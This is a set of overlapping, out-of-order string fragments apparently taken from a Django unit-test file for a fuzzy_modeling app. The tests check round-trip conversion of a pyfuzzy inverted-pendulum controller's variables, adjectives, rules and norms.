"SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def _test_new_vs_expected_fuzzy_sysem(self, new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict = {} input_dict[\"X\"]",
"position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] = Adjective(Polygon([(-20.,0.),(-5.,1.),(0.,0.)])) position.adjectives['stop']",
"position X=0. It also is used to demonstrate some features of pyfuzzy. This",
"changing the outputvar to a OutputVariableModel in th System \" from fuzzy_modeling.models import",
"velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow'] = Adjective(Polygon([(-600.,0.),(-300.,1.),(0.,0.)])) angle_velocity.adjectives['stop']",
"self.rules_mock } pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def",
"to the new instance of same value, and changing the corresponding rule \"",
"pyfuzzy_system_expected.defuzzify(output_dict1) new_pyfuzzy_system.fuzzify(i_dict2) new_pyfuzzy_system.inference() new_pyfuzzy_system.defuzzify(output_dict2) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) def test_rule_has_same_adjs_as_output_only(self):",
"= operator() new_op_call = new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s != %s in %s\"",
"sets to the new instance of same value \" from fuzzy.norm.AlgebraicSum import AlgebraicSum",
"correct outout when only changing the outputvar to a OutputVariableModel in th System",
"segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.rules['far right'].adjective = a_right_fast",
"fuzzy.set.Polygon import Polygon from fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected =",
"), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]) ), CER=CER ) system.rules['far right'] = Rule( adjective=a_right_fast, # it gets",
"Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER ) return system def test_system_from_pyfuzzy(self): \" shoud return",
"test_set_only(self): \" should return the correct outout when only changing the set to",
"angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT'] = angle_velocity angle_velocity.adjectives['cw_fast'] = Adjective(Polygon([(-600.,1.),(-300.,0.)])) angle_velocity.adjectives['cw_slow']",
"= rules_dict self.assertEquals(pyfuzzy_system_expected.description, new_pyfuzzy_system.description) self.assertDictEqual(pyfuzzy_system_expected.variables, new_pyfuzzy_system.variables) self.assertDictEqual(pyfuzzy_system_expected.rules, new_pyfuzzy_system.rules) @classmethod def _createSystem(cls): import fuzzy.System",
"same instance of an output adj\" outputs_adjs = [] for var_name, var in",
"if adj.COM is not None and new_adj.COM is not None: self._test_norm(adj.COM, new_adj.COM) membership",
"the sets to the new instance of same value \" from fuzzy.norm.AlgebraicSum import",
"import BoundedDifference #from fuzzy.norm.DrasticSum import DrasticSum from fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion import",
"self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify): \" test only a given fuzzify \"",
"= Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import Rule from fuzzy.norm.Max",
"= Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far'] = Adjective(Polygon([(-20.,1.),(-10.,0.)])) position.adjectives['left_near'] =",
"def test_system_from_pyfuzzy(self): \" shoud return the correct corresponding Model for the pyfuzzy object",
"from fuzzy.Rule import Rule from fuzzy.norm.Max import Max #from fuzzy.norm.Min import Min #from",
"new_arg = getattr(new_norm, param_name) self.assertEquals(new_arg, arg) self.assertEquals(new_norm.UNKNOWN, norm.UNKNOWN) self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def",
"in params: arg = getattr(set, param_name) new_arg = getattr(new_set, param_name) self.assertEquals(new_arg, arg) cog",
"import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"] =",
"self.system def test_system_get_pyfuzzy(self): \" shoud return the correct corresponding pyfuzzy object \" new_system",
"self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__ == 'Not': self._test_operator(operator.input,",
"Adjective(Polygon([(10.,0.),(20.,1.)])) velocity = InputVariable(fuzzify=Plain(),description='velocity',min=-10.,max=10.,unit='meter per second') system.variables['dX_dT'] = velocity velocity.adjectives['left_fast'] = Adjective(Polygon([(-10.,1.),(-5.,0.)])) velocity.adjectives['left_slow']",
"velocity.adjectives['stop'] = Adjective(Polygon([(-2.,0.),(0.,1.),(2.,0.)])) velocity.adjectives['right_slow'] = Adjective(Polygon([(0.,0.),(2.,1.),(10.,0.)])) velocity.adjectives['right_fast'] = Adjective(Polygon([(5.,0.),(10.,1.)])) acceleration = OutputVariable(defuzzify=COG,description='acceleration',min=-50.,max=50.,unit='meter per",
"[ self._named_and_pyfuzzymixin_mock(\"ov%d\" % i) for i in xrange(1,2) ] self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\"",
"value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left'] = Rule( adjective=a_left_fast, # it",
"= [] try: for arg in inspect.getargspec(norm.__init__).args: if arg != 'self': params.append(arg) #",
"= Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"]",
"CER=CER ) system.rules['accelerate ccw if down'] = Rule( adjective=a_left_slow, # it gets its",
"= new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a'] = acceleration import math input_dict",
"fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify): \" test only a given fuzzify \" self.assertIsInstance(new_defuzzify,",
"# will raise this exception when the given type don't implement a __init__",
"except TypeError: pass for param_name in params: arg = getattr(defuzzify, param_name) new_arg =",
"= AlgebraicSum() COM = AlgebraicSum() COG = COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration =",
"of same value, and changing the corresponding rule \" from fuzzy_modeling.models import OutputVariableModel",
"= output_a.adjectives[\"right_fast\"] a_right_fast.name = 'right_fast' far_right = Rule( adjective=a_right_fast, # it gets its",
"import inspect import mock from django.test import TestCase from fuzzy_modeling.tests.utils import ResetMock from",
"gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), )",
"acceleration.adjectives['right_slow'] = a_right_slow = Adjective(Polygon([(0.,0.),(10.,1.),(20.,0.)]),COM=COM) acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) from fuzzy.Rule import",
"import COG # set defuzzification method and default norms INF = AlgebraicProduct() ACC",
"angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per second') system.variables['dPhi_dT']",
"new_inp) elif operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective)",
"AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), ) ), CER=CER ) return system def test_system_from_pyfuzzy(self): \" shoud",
"operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound( EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]),",
"mock.Mock() var.name = name var.get_pyfuzzy = lambda systme=None: name return var def _mock_systemModel(self):",
"Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM) acceleration.adjectives['stop'] = a_stop = Adjective(Polygon([(-10.,0.),(0.,1.),(10.,0.)]),COM=COM) acceleration.adjectives['right_slow'] =",
"\"test if work changing a single rule\" from fuzzy.Rule import Rule from fuzzy.operator.Input",
"Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import math input_dict = {} input_dict[\"X\"] =",
"it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_left\"]), CER=CER ) system.rules['accelerate cw if down']",
"OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter per second^2') acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM)",
"fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG import COG # set",
"COG(INF=INF,ACC=ACC,failsafe = 0., segment_size=0.5) from fuzzy.InputVariable import InputVariable from fuzzy.OutputVariable import OutputVariable from",
"Model for the pyfuzzy object with another input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system =",
"Polygon COM = AlgebraicSum() a_stop = Adjective(Polygon([(-10., 0.), (0., 1.), (10., 0.)]), COM=COM)",
"var_value != new_var_value: self.assertEquals(new_var_value, var_value) for rule_name, rule in pyfuzzy_system_expected.rules.items(): new_rule = new_pyfuzzy_system.rules[rule_name]",
"SystemModel.rulemodel_set = rulemodel_set return self.system def test_system_get_pyfuzzy(self): \" shoud return the correct corresponding",
"var.adjectives[adj_name] self._test_adj(adj, new_adj) #: is input if hasattr(var, 'fuzzify'): self._test_fuzzify(var.fuzzify, new_var.fuzzify) #: output",
"self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set, new_adj.set) if adj.COM is not None and new_adj.COM is not",
"i_inputs in xrange(0, len(operator.inputs)): inp = operator.inputs[i_inputs] new_inp = new_operator.inputs[i_inputs] self._test_operator(inp, new_inp) elif",
"correct corresponding Model for the pyfuzzy object with another input\" pyfuzzy_system_expected = self._createSystem()",
"= variable_dict rules_dict = { rule.name : rule.get_pyfuzzy() for rule in self.rules_mock }",
"is the reason, it uses different fuzzy norm in normally symmetrical rules.\"\"\") from",
"arg in inspect.getargspec(set.__init__).args: if arg != 'self': params.append(arg) # will raise this exception",
"has attr name and a get_pyfuzzy that returns this name \"\"\" var =",
"system.variables['a'] = acceleration acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] = a_left_slow = Adjective(Polygon([(-20.,0.),(-10.,1.),(0.,0.)]),COM=COM)",
"\" from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import Adjective",
"pyfuzzy object with another input\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() import math",
"EinsteinSum(), Input(system.variables[\"dX_dT\"].adjectives[\"left_slow\"]), Input(system.variables[\"dX_dT\"].adjectives[\"left_fast\"]) ) ), ), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]) ), CER=CER ) system.rules['tilts left'] =",
"pyfuzzy_system_expected): import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m] input_dict[\"dX_dT\"]",
"COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) new_pyfuzzy_system.variables['a']",
"gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system)",
"new_pyfuzzy_system.variables['a'] = acceleration import math input_dict = {} input_dict[\"X\"] = 0.0 #: position",
"operator, new_operator): \"test only a given rule\" self.assertIsInstance(new_operator, operator.__class__) if operator.__class__.__name__ == 'Compound':",
"new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system, pyfuzzy_system_expected) def test_output_variable_only(self): \" should return the correct outout when only",
"shoud return the correct corresponding Model for the pyfuzzy object \" pyfuzzy_system_expected =",
"self.assertEquals(new_norm.T_NORM, norm.T_NORM) self.assertEquals(new_norm.S_NORM, norm.S_NORM) def _test_fuzzify(self, fuzzify, new_fuzzify): \" test only a given",
"return self.system def test_system_get_pyfuzzy(self): \" shoud return the correct corresponding pyfuzzy object \"",
"This is the reason, it uses different fuzzy norm in normally symmetrical rules.\"\"\")",
"pendulum into an upright position as well as at the position X=0. It",
"fuzzy.defuzzify.COG import COG from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem()",
"self.assertIsInstance(new_var, var.__class__) self.assertEquals(new_var.description, var.description) self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for adj_name, adj",
"description='acceleration', min=-50., max=50., unit='meter per second^2') acceleration.adjectives['left_fast'] = a_left_fast = Adjective(Polygon([(-50.,0.),(-20.,1.),(-10.,0.)]),COM=COM) acceleration.adjectives['left_slow'] =",
"DombiUnion from fuzzy.operator.Compound import Compound from fuzzy.operator.Input import Input from fuzzy.operator.Not import Not",
"self.assertEquals(new_arg, arg) cog = None new_cog = None try: cog = set.getCOG() except",
"fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective import Adjective from fuzzy.set.Polygon",
"new_adj.COM is not None: self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership() new_membership = new_adj.getMembership() #",
"self._test_norm(rule.CER, new_rule.CER) self._test_norm(rule.CER, new_rule.CER) self._test_operator(rule.operator, new_rule.operator) def _test_operator(self, operator, new_operator): \"test only a",
"the same adjectives as the output\" pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() self._test_rules_adj_in_out_adjs(pyfuzzy_system_expected)",
"work changing a single rule\" from fuzzy.Rule import Rule from fuzzy.operator.Input import Input",
"(10., 0.)]), COM=COM) a_stop.name = 'stop' new_a_stop = AdjectiveModel.from_pyfuzzy(a_stop).get_pyfuzzy() new_pyfuzzy_system.variables['a'].adjectives['stop'] = new_a_stop self._test_new_vs_expected_fuzzy_sysem(new_pyfuzzy_system,",
"[] for var_name, var in system.variables.items(): #: is output if not hasattr(var, 'fuzzify'):",
"from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.fuzzify.Plain import Plain from fuzzy.defuzzify.COG import COG #",
"_test_rule(self, rule, new_rule): \"test only a given rule\" self.assertIsInstance(new_rule, rule.__class__) self.assertEquals(rule.certainty, new_rule.certainty) self._test_adj(rule.adjective,",
"Rule( adjective=a_left_slow, # it gets its value from here operator=Compound( AlgebraicProduct(), Not( Compound(",
"try: for arg in inspect.getargspec(set.__init__).args: if arg != 'self': params.append(arg) # will raise",
"_createSystem(cls): import fuzzy.System system = fuzzy.System.System(description= \"\"\"This fuzzy system is to control the",
"= Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity = InputVariable(fuzzify=Plain(),description='angle velocity',min=-600.,max=600.,unit='degrees per",
"self.assertEquals(new_var.min, var.min) self.assertEquals(new_var.max, var.max) self.assertEquals(new_var.unit, var.unit) for adj_name, adj in var.adjectives.items(): new_adj =",
"def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock a variable or to be an object that",
"def test_system_get_pyfuzzy(self): \" shoud return the correct corresponding pyfuzzy object \" new_system =",
"'right_fast' far_right = Rule( adjective=a_right_fast, # it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]),",
"new_rule.operator) def _test_operator(self, operator, new_operator): \"test only a given rule\" self.assertIsInstance(new_operator, operator.__class__) if",
"self._test_defuzzify(var.defuzzify, new_var.defuzzify) # import pdb; pdb.set_trace() var_value = var.getValue() new_var_value = new_var.getValue() #",
"for i in xrange(1,2) ] # mocking inputvariablemodel_set # inputvariablemodel_set = lambda :",
"), CER=CER ) system.rules['tilts right'] = Rule( adjective=a_right_slow, # it gets its value",
"from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) system.rules['far left'] = Rule( adjective=a_left_fast, # it gets",
"outputvariablemodel_set = mock.Mock() outputvariablemodel_set.all = lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set #",
"_test_norm(self, norm, new_norm): \" test only a given norm \" self.assertIsInstance(new_norm, norm.__class__) params",
"output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should return the correct output when changing all the",
"as at the position X=0. It also is used to demonstrate some features",
": var.get_pyfuzzy() for var in self.input_variable_mock + self.output_variable_mock } pyfuzzy_system_expected.variables = variable_dict rules_dict",
"self.assertEquals(new_var.unit, var.unit) for adj_name, adj in var.adjectives.items(): new_adj = var.adjectives[adj_name] self._test_adj(adj, new_adj) #:",
"Adjective(Polygon([(-300.,0.),(0.,1.),(300.,0.)])) angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position",
"AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_right\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]) ), Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"up_left\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"cw_slow\"]) ) ), CER=CER ) system.rules['tilts",
"AdjectiveModel pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() SystemModel.from_pyfuzzy(pyfuzzy_system_expected).get_pyfuzzy() from fuzzy.norm.AlgebraicSum import AlgebraicSum from",
"the rules's adj are the same instance of an output adj\" outputs_adjs =",
"rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far",
"it gets its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right'] = far_right",
"operator() new_op_call = new_operator() self.assertEquals( op_call, new_op_call, msg=\"%s != %s in %s\" %",
"self.rules_mock = [ self._named_and_pyfuzzymixin_mock(\"r%d\" % i) for i in xrange(1,2) ] # mocking",
"new_cog = new_set.getCOG() self.assertEquals(new_cog, cog) self.assertEquals(new_set.points, set.points) def _test_norm(self, norm, new_norm): \" test",
"pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertNotEquals(output_dict1['a'], output_dict2['a']) def test_output_variable_changing_one_set_and_rule(self): \" should return the correct",
"= Adjective(Polygon([(-10., 0.), (0., 1.), (10., 0.)]), COM=COM) a_stop.name = 'stop' new_a_stop =",
"test_output_variable_only(self): \" should return the correct outout when only changing the outputvar to",
"= mock.Mock() outputvariablemodel_set.all = lambda : self.output_variable_mock self.set_pre_mock(SystemModel,'outputvariablemodel_set') SystemModel.outputvariablemodel_set = outputvariablemodel_set # mocking",
"its value from here operator=Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER ) new_pyfuzzy_system.rules['far right'] = far_right self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import",
"def tearDown(self): \"\"\"And kill it when done\"\"\" self.reset_all_pre_mocks(SystemModel) def _named_and_pyfuzzymixin_mock(self, name): \"\"\" mock",
"= Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)])) angle_velocity =",
"0.0 #: acceleration [m/s²] } output_dict2 = { 'a' : 0.0 #: acceleration",
"the object.__init__) except TypeError: pass for param_name in params: arg = getattr(set, param_name)",
"COG from fuzzy.OutputVariable import OutputVariable pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF =",
"None inputvariablemodel_set = mock.Mock() inputvariablemodel_set.all = lambda : self.input_variable_mock self.set_pre_mock(SystemModel,'inputvariablemodel_set') SystemModel.inputvariablemodel_set = inputvariablemodel_set",
"should return the correct outout when only changing the set to a SetModel",
"{ rule.name : rule.get_pyfuzzy() for rule in self.rules_mock } pyfuzzy_system_expected.rules = rules_dict self.assertEquals(pyfuzzy_system_expected.description,",
"set \" self.assertIsInstance(new_set, set.__class__) params = [] try: for arg in inspect.getargspec(set.__init__).args: if",
"\" new_system = self._mock_systemModel() new_pyfuzzy_system = new_system.get_pyfuzzy() # the expected pyfuzzy system pyfuzzy_system_expected",
"), CER=CER ) system.rules['tilts left'] = Rule( adjective=a_left_slow, # it gets its value",
"Adjective(Polygon([(180.,0.),(210.,1.),(240.,0.)])) angle.adjectives['down_left'] = Adjective(Polygon([(210.,0.),(240.,1.),(270.,0.)])) angle.adjectives['down'] = Adjective(Polygon([(240.,0.),(270.,1.),(300.,0.)])) angle.adjectives['down_right'] = Adjective(Polygon([(270.,0.),(300.,1.),(330.,0.)])) angle.adjectives['down_more_right'] = Adjective(Polygon([(300.,0.),(330.,1.),(360.,0.)]))",
"angle_velocity.adjectives['ccw_slow'] = Adjective(Polygon([(0.,0.),(300.,1.),(600.,0.)])) angle_velocity.adjectives['ccw_fast'] = Adjective(Polygon([(300.,0.),(600.,1.)])) position = InputVariable(fuzzify=Plain(),description='position',min=-20.,max=20.,unit='meter') system.variables['X'] = position position.adjectives['left_far']",
"_test_adj(self, adj, new_adj): \" test only a given adjective \" self.assertIsInstance(new_adj, adj.__class__) self._test_set(adj.set,",
"from here operator=Compound( AlgebraicProduct(), Not( Compound( AlgebraicProduct(), Compound( AlgebraicSum(), Input(system.variables[\"X\"].adjectives[\"left_near\"]), Input(system.variables[\"X\"].adjectives[\"left_far\"]) ), Compound(",
"input_dict[\"dPhi_dT\"] = math.radians(0.0) #: angle velocity [rad/s] i_dict1 = input_dict.copy() i_dict2 = input_dict.copy()",
"right'] = Rule( adjective=a_right_fast, # it gets its value from here operator=Input(system.variables[\"Phi\"].adjectives[\"up_more_right\"]), CER=CER",
"self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule, new_rule): \"test only a given rule\" self.assertIsInstance(new_rule, rule.__class__)",
"except TypeError: pass for param_name in params: arg = getattr(set, param_name) new_arg =",
"same value \" from fuzzy.norm.AlgebraicSum import AlgebraicSum from fuzzy.norm.AlgebraicProduct import AlgebraicProduct from fuzzy.Adjective",
"= {} input_dict[\"X\"] = 190.0 #: position [m] input_dict[\"dX_dT\"] = 500.0 #: velocity",
"= mommy.make_one(Aluno) # from fuzzy_modeling.models.systems import SystemModel as SystemModelOriginal # import pdb; pdb.set_trace()",
"= OutputVariable( defuzzify=COG, description='acceleration', min=-50., max=50., unit='meter per second^2') acceleration.adjectives['left_fast'] = a_left_fast =",
"= COG(INF=INF, ACC=ACC, failsafe=0., segment_size=0.5) acceleration = new_pyfuzzy_system.variables['a'] acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM)",
"new_rule) pyfuzzy_system_expected.calculate(i_dict1, output_dict1) new_pyfuzzy_system.calculate(i_dict2, output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def _test_rules_adj_in_out_adjs(self, system): \"test if all",
"set defuzzification method and default norms INF = AlgebraicProduct() ACC = AlgebraicSum() COM",
"norm \" self.assertIsInstance(new_norm, norm.__class__) params = [] try: for arg in inspect.getargspec(norm.__init__).args: if",
"acceleration.adjectives['right_fast'] = a_right_fast = Adjective(Polygon([(10.,0.),(20.,1.),(50.,0.)]),COM=COM) acceleration.name = 'a' new_acceleration = OutputVariableModel.from_pyfuzzy(acceleration).get_pyfuzzy() new_pyfuzzy_system.variables['a'] =",
"output when changing all the sets to the new instance of same value,",
"\" self.assertIsInstance(new_fuzzify, fuzzify.__class__) def _test_defuzzify(self, defuzzify, new_defuzzify): \" test only a given fuzzify",
"new_pyfuzzy_system, pyfuzzy_system_expected): import math input_dict = {} input_dict[\"X\"] = 0.0 #: position [m]",
"= System(self.system_description) variable_dict = { var.name : var.get_pyfuzzy() for var in self.input_variable_mock +",
"Adjective(Polygon([(0.,0.),(30.,1.),(60.,0.)])) angle.adjectives['up_right'] = Adjective(Polygon([(30.,0.),(60.,1.),(90.,0.)])) angle.adjectives['up'] = Adjective(Polygon([(60.,0.),(90.,1.),(120.,0.)])) angle.adjectives['up_left'] = Adjective(Polygon([(90.,0.),(120.,1.),(150.,0.)])) angle.adjectives['up_more_left'] = Adjective(Polygon([(120.,0.),(150.,1.),(180.,0.)]))",
"self._test_norm(defuzzify.INF, new_defuzzify.INF) self._test_norm(defuzzify._INF, new_defuzzify._INF) self._test_norm(defuzzify.ACC, new_defuzzify.ACC) self._test_norm(defuzzify._ACC, new_defuzzify._ACC) def _test_rule(self, rule, new_rule): \"test",
"import pdb; pdb.set_trace() self.assertEquals( membership, new_membership, msg=\"%s != %s in %s\" % (membership,",
"it gets its value from here operator=Compound( AlgebraicProduct(), Input(system.variables[\"Phi\"].adjectives[\"down\"]), Compound( AlgebraicProduct(), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]), Input(system.variables[\"dPhi_dT\"].adjectives[\"ccw_slow\"]),",
"'far right' rule_model = RuleModel.from_pyfuzzy(far_right, new_pyfuzzy_system, system_model) new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator =",
"fuzzy.norm.EinsteinSum import EinsteinSum from fuzzy.norm.DombiUnion import DombiUnion from fuzzy.operator.Compound import Compound from fuzzy.operator.Input",
"COG pyfuzzy_system_expected = self._createSystem() new_pyfuzzy_system = self._createSystem() INF = AlgebraicProduct() ACC = AlgebraicSum()",
"new_rule = rule_model.get_pyfuzzy(new_pyfuzzy_system) # new_rule.operator = Input(new_pyfuzzy_system.variables[\"Phi\"].adjectives[\"up_more_right\"]) new_pyfuzzy_system.rules['far right'] = new_rule self._test_rules_adj_in_out_adjs(new_pyfuzzy_system) import",
"in th System \" from fuzzy_modeling.models import OutputVariableModel from fuzzy.norm.AlgebraicSum import AlgebraicSum from",
"except Exception, e: # self.assertRaises(Exception, new_set.getCOG) self.assertRaisesMessage(Exception, e.message, new_set.getCOG) else: new_cog = new_set.getCOG()",
"None: self._test_norm(adj.COM, new_adj.COM) membership = adj.getMembership() new_membership = new_adj.getMembership() # if membership !=",
"operator.__class__.__name__ == 'Const': self.assertEquals(new_operator.value, operator.value) elif operator.__class__.__name__ == 'Input': self._test_adj(operator.adjective, new_operator.adjective) elif operator.__class__.__name__",
"inverted pendulum into an upright position as well as at the position X=0.",
"output_dict2) self.assertEquals(output_dict1['a'], output_dict2['a']) def test_system_from_pyfuzzy_changing_a_single_rule_from_model(self): \"test if work changing a single rule, but",
